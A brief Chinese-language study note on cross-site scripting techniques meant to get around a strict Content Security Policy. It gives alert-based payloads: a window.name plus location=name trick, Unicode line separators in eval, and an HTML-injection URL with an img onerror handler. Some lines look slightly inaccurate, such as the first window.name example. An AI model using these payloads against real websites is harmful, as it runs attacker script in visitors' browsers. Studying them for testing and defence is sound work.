学习基于Arbitrary Parentheses-less XSS against strict CSP policies
研究目标
绕过一个严格CSP策略
default-src ‘self’;
script-src ‘self’;
技巧点一,无CSP的前提下执行任意XSS payload
window.name=eval(alert(1))
location=name
说明:
window.name是可以跨域的,这恶意网站上设置window.name,再让受害者访问有xss漏洞的网站,注入xss payload,location=name,即可在有长度限制前提下,执行任意的xss代码。
这个操作绕不过CSP。
技巧点二,javascript分割符号替代分号
\u2028 \u2029
eval('x=123\u2028alert(x)')
技巧点三,注入任意的HTML代码到网页中
方法展示,这里思路多变,根据实际情况来决定
http://example.com/?test=>img/src="x"/onerror=alert(23)<